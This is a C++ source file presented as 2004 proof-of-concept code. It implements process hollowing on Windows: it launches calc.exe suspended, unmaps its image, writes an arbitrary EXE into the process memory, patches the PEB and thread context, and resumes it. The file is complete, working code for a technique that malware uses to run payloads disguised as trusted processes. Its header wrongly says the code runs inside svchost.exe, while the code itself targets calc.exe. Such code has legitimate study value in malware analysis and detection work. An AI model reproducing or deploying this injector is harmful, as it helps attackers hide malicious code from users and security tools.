//******************************************************************************************************* // loadEXE.cpp : Defines the entry point for the console application. // // Proof-Of-Concept Code // Copyright (c) 2004 // All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, and/or sell copies of the Software, and to permit persons // to whom the Software is furnished to do so, provided that the above // copyright notice(s) and this permission notice appear in all copies of // the Software and that both the above copyright notice(s) and this // permission notice appear in supporting documentation. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT // OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR // HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL // INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING // FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, // NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION // WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. // // Usage: // loadEXE <EXE filename> // // This will execute calc.exe in suspended mode and replace its image with // the new EXE's image. The thread is then resumed, thus causing the new EXE to // execute within the process space of svchost.exe. // //*******************************************************************************************************
#include <stdio.h> #include <windows.h> #include <tlhelp32.h> #include <psapi.h>
struct PE_Header { unsigned long signature; unsigned short machine; unsigned short numSections; unsigned long timeDateStamp; unsigned long pointerToSymbolTable; unsigned long numOfSymbols; unsigned short sizeOfOptionHeader; unsigned short characteristics; };
struct PE_ExtHeader { unsigned short magic; unsigned char majorLinkerVersion; unsigned char minorLinkerVersion; unsigned long sizeOfCode; unsigned long sizeOfInitializedData; unsigned long sizeOfUninitializedData; unsigned long addressOfEntryPoint; unsigned long baseOfCode; unsigned long baseOfData; unsigned long imageBase; unsigned long sectionAlignment; unsigned long fileAlignment; unsigned short majorOSVersion; unsigned short minorOSVersion; unsigned short majorImageVersion; unsigned short minorImageVersion; unsigned short majorSubsystemVersion; unsigned short minorSubsystemVersion; unsigned long reserved1; unsigned long sizeOfImage; unsigned long sizeOfHeaders; unsigned long checksum; unsigned short subsystem; unsigned short DLLCharacteristics; unsigned long sizeOfStackReserve; unsigned long sizeOfStackCommit; unsigned long sizeOfHeapReserve; unsigned long sizeOfHeapCommit; unsigned long loaderFlags; unsigned long numberOfRVAAndSizes; unsigned long exportTableAddress; unsigned long exportTableSize; unsigned long importTableAddress; unsigned long importTableSize; unsigned long resourceTableAddress; unsigned long resourceTableSize; unsigned long exceptionTableAddress; unsigned long exceptionTableSize; unsigned long certFilePointer; unsigned long certTableSize; unsigned long relocationTableAddress; unsigned long relocationTableSize; unsigned long debugDataAddress; unsigned long debugDataSize; unsigned long archDataAddress; unsigned long archDataSize; unsigned long globalPtrAddress; unsigned long globalPtrSize; unsigned long TLSTableAddress; unsigned long TLSTableSize; unsigned long loadConfigTableAddress; unsigned long loadConfigTableSize; unsigned long boundImportTableAddress; unsigned long boundImportTableSize; unsigned long importAddressTableAddress; unsigned long importAddressTableSize; unsigned long delayImportDescAddress; unsigned long delayImportDescSize; unsigned long COMHeaderAddress; unsigned long COMHeaderSize; unsigned long reserved2; unsigned long reserved3; };
struct SectionHeader { unsigned char sectionName[8]; unsigned long virtualSize; unsigned long virtualAddress; unsigned long sizeOfRawData; unsigned long pointerToRawData; unsigned long pointerToRelocations; unsigned long pointerToLineNumbers; unsigned short numberOfRelocations; unsigned short numberOfLineNumbers; unsigned long characteristics; };
struct MZHeader { unsigned short signature; unsigned short partPag; unsigned short pageCnt; unsigned short reloCnt; unsigned short hdrSize; unsigned short minMem; unsigned short maxMem; unsigned short reloSS; unsigned short exeSP; unsigned short chksum; unsigned short exeIP; unsigned short reloCS; unsigned short tablOff; unsigned short overlay; unsigned char reserved[32]; unsigned long offsetToPE; };
struct ImportDirEntry { DWORD importLookupTable; DWORD timeDateStamp; DWORD fowarderChain; DWORD nameRVA; DWORD importAddressTable; };
//********************************************************************************************************** // // This function reads the MZ, PE, PE extended and Section Headers from an EXE file. // //**********************************************************************************************************
bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH, SectionHeader **outSecHdr) { fseek(fp, 0, SEEK_END); long fileSize = ftell(fp); fseek(fp, 0, SEEK_SET);
if(fileSize < sizeof(MZHeader)) { printf("File size too small/n"); return false; }
// read MZ Header MZHeader mzH; fread(&mzH, sizeof(MZHeader), 1, fp);
if(mzH.signature != 0x5a4d) // MZ { printf("File does not have MZ header/n"); return false; }
//printf("Offset to PE Header = %X/n", mzH.offsetToPE);
if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) { printf("File size too small/n"); return false; }
// read PE Header fseek(fp, mzH.offsetToPE, SEEK_SET); PE_Header peH; fread(&peH, sizeof(PE_Header), 1, fp);
//printf("Size of option header = %d/n", peH.sizeOfOptionHeader); //printf("Number of sections = %d/n", peH.numSections);
if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) { printf("Unexpected option header size./n"); return false; }
// read PE Ext Header PE_ExtHeader peXH;
fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
//printf("Import table address = %X/n", peXH.importTableAddress); //printf("Import table size = %X/n", peXH.importTableSize); //printf("Import address table address = %X/n", peXH.importAddressTableAddress); //printf("Import address table size = %X/n", peXH.importAddressTableSize);
// read the sections SectionHeader *secHdr = new SectionHeader[peH.numSections];
fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
*outMZ = mzH; *outPE = peH; *outpeXH = peXH; *outSecHdr = secHdr;
return true; }
//********************************************************************************************************** // // This function calculates the size required to load an EXE into memory with proper alignment. // //**********************************************************************************************************
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr) { int result = 0; int alignment = inpeXH->sectionAlignment;
if(inpeXH->sizeOfHeaders % alignment == 0) result += inpeXH->sizeOfHeaders; else { int val = inpeXH->sizeOfHeaders / alignment; val++; result += (val * alignment); }
for(int i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].virtualSize) { if(inSecHdr[i].virtualSize % alignment == 0) result += inSecHdr[i].virtualSize; else { int val = inSecHdr[i].virtualSize / alignment; val++; result += (val * alignment); } } }
return result; }
//********************************************************************************************************** // // This function calculates the aligned size of a section // //**********************************************************************************************************
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment) { if(curSize % alignment == 0) return curSize; else { int val = curSize / alignment; val++; return (val * alignment); } }
//********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //**********************************************************************************************************
bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc) { char *outPtr = (char *)ptrLoc;
fseek(fp, 0, SEEK_SET); unsigned long headerSize = inpeXH->sizeOfHeaders;
// certain PE files have sectionHeaderSize value > size of PE file itself. // this loop handles this situation by find the section that is nearest to the // PE header.
for(int i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].pointerToRawData < headerSize) headerSize = inSecHdr[i].pointerToRawData; }
// read the PE header unsigned long readSize = fread(outPtr, 1, headerSize, fp); //printf("HeaderSize = %d/n", headerSize); if(readSize != headerSize) { printf("Error reading headers (%d %d)/n", readSize, headerSize); return false; }
outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
// read the sections for(i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].sizeOfRawData > 0) { unsigned long toRead = inSecHdr[i].sizeOfRawData; if(toRead > inSecHdr[i].virtualSize) toRead = inSecHdr[i].virtualSize;
fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET); readSize = fread(outPtr, 1, toRead, fp);
if(readSize != toRead) { printf("Error reading section %d/n", i); return false; } outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } else { // this handles the case where the PE file has an empty section. E.g. UPX0 section // in UPXed files.
if(inSecHdr[i].virtualSize) outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } }
return true; }
struct FixupBlock { unsigned long pageRVA; unsigned long blockSize; };
//********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //**********************************************************************************************************
void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress); long delta = newBase - inpeXH->imageBase;
while(fixBlk->blockSize) { //printf("Addr = %X/n", fixBlk->pageRVA); //printf("Size = %X/n", fixBlk->blockSize);
int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1; //printf("Num Entries = %d/n", numEntries);
unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
for(int i = 0; i < numEntries; i++) { DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF)); int relocType = (*offsetPtr & 0xF000) >> 12; //printf("Val = %X/n", *offsetPtr); //printf("Type = %X/n", relocType);
if(relocType == 3) *codeLoc = ((DWORD)*codeLoc) + delta; else { printf("Unknown relocation type = %d/n", relocType); } offsetPtr++; }
fixBlk = (FixupBlock *)offsetPtr; } } }
#define TARGETPROC "calc.exe"
typedef struct _PROCINFO { DWORD baseAddr; DWORD imageSize; } PROCINFO;
//********************************************************************************************************** // // Creates the original EXE in suspended mode and returns its info in the PROCINFO structure. // //**********************************************************************************************************
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo) { STARTUPINFO si = {0};
if(CreateProcess(NULL, TARGETPROC, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) { ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx);
DWORD *pebInfo = (DWORD *)ctx->Ebx; DWORD read; ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read); DWORD curAddr = outChildProcInfo->baseAddr; MEMORY_BASIC_INFORMATION memInfo; while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo))) { if(memInfo.State == MEM_FREE) break; curAddr += memInfo.RegionSize; } outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
return TRUE; } return FALSE; }
//********************************************************************************************************** // // Returns true if the PE file has a relocation table // //**********************************************************************************************************
BOOL hasRelocationTable(PE_ExtHeader *inpeXH) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { return TRUE; } return FALSE; }
typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);
//********************************************************************************************************** // // To replace the original EXE with another one we do the following. // 1) Create the original EXE process in suspended mode. // 2) Unmap the image of the original EXE. // 3) Allocate memory at the baseaddress of the new EXE. // 4) Load the new EXE image into the allocated memory. // 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended // thread. // // When the original EXE process is created in suspend mode, GetThreadContext returns these useful // register values. // EAX - process entry point // EBX - points to PEB // // So before resuming the suspended thread, we need to set EAX of the context to the entry point of the // new EXE. // //**********************************************************************************************************
void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize) { STARTUPINFO si = {0}; PROCESS_INFORMATION pi; CONTEXT ctx; PROCINFO childInfo; if(createChild(&pi, &ctx, &childInfo)) { printf("Original EXE loaded (PID = %d)./n", pi.dwProcessId); printf("Original Base Addr = %X, Size = %X/n", childInfo.baseAddr, childInfo.imageSize); LPVOID v = (LPVOID)NULL; if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize) { // if new EXE has same baseaddr and is its size is <= to the original EXE, just // overwrite it in memory v = (LPVOID)childInfo.baseAddr; DWORD oldProtect; VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect); printf("Using Existing Mem for New EXE at %X/n", (unsigned long)v); } else { // get address of ZwUnmapViewOfSection PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
// try to unmap the original EXE image if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0) { // allocate memory for the new EXE image at the prefered imagebase. v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) printf("Unmapped and Allocated Mem for New EXE at %X/n", (unsigned long)v); } }
if(!v && hasRelocationTable(inpeXH)) { // if unmap failed but EXE is relocatable, then we try to load the EXE at another // location v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) { printf("Allocated Mem for New EXE at %X. EXE will be relocated./n", (unsigned long)v);
// we've got to do the relocation ourself if we load the image at another // memory location doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v); } }
printf("EIP = %X/n", ctx.Eip); printf("EAX = %X/n", ctx.Eax); printf("EBX = %X/n", ctx.Ebx); // EBX points to PEB printf("ECX = %X/n", ctx.Ecx); printf("EDX = %X/n", ctx.Edx); if(v) { printf("New EXE Image Size = %X/n", imageSize); // patch the EXE base addr in PEB (PEB + 8 holds process base addr) DWORD *pebInfo = (DWORD *)ctx.Ebx; DWORD wrote; WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
// patch the base addr in the PE header of the EXE that we load ourselves PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc); peXH->imageBase = (DWORD)v; if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL)) { printf("New EXE image injected into process./n");
ctx.ContextFlags=CONTEXT_FULL; //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc); if((DWORD)v == childInfo.baseAddr) { ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point } else { // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was // performed. ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point }
printf("********> EIP = %X/n", ctx.Eip); printf("********> EAX = %X/n", ctx.Eax);
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread); printf("Process resumed (PID = %d)./n", pi.dwProcessId); } else { printf("WriteProcessMemory failed/n"); TerminateProcess(pi.hProcess, 0); } } else { printf("Load failed. Consider making this EXE relocatable./n"); TerminateProcess(pi.hProcess, 0); } } else { printf("Cannot load %s/n", TARGETPROC); } }
int main(int argc, char* argv[]) { if(argc != 2) { printf("/nUsage: %s <EXE filename>/n", argv[0]); return 1; }
FILE *fp = fopen(argv[1], "rb"); if(fp) { MZHeader mzH; PE_Header peH; PE_ExtHeader peXH; SectionHeader *secHdr;
if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr)) { int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr); //printf("Image Size = %X/n", imageSize);
LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(ptrLoc) { //printf("Memory allocated at %X/n", ptrLoc); loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc); doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize); } else printf("Allocation failed/n"); }
fclose(fp); } else printf("/nCannot open the EXE file!/n");
return 0; }
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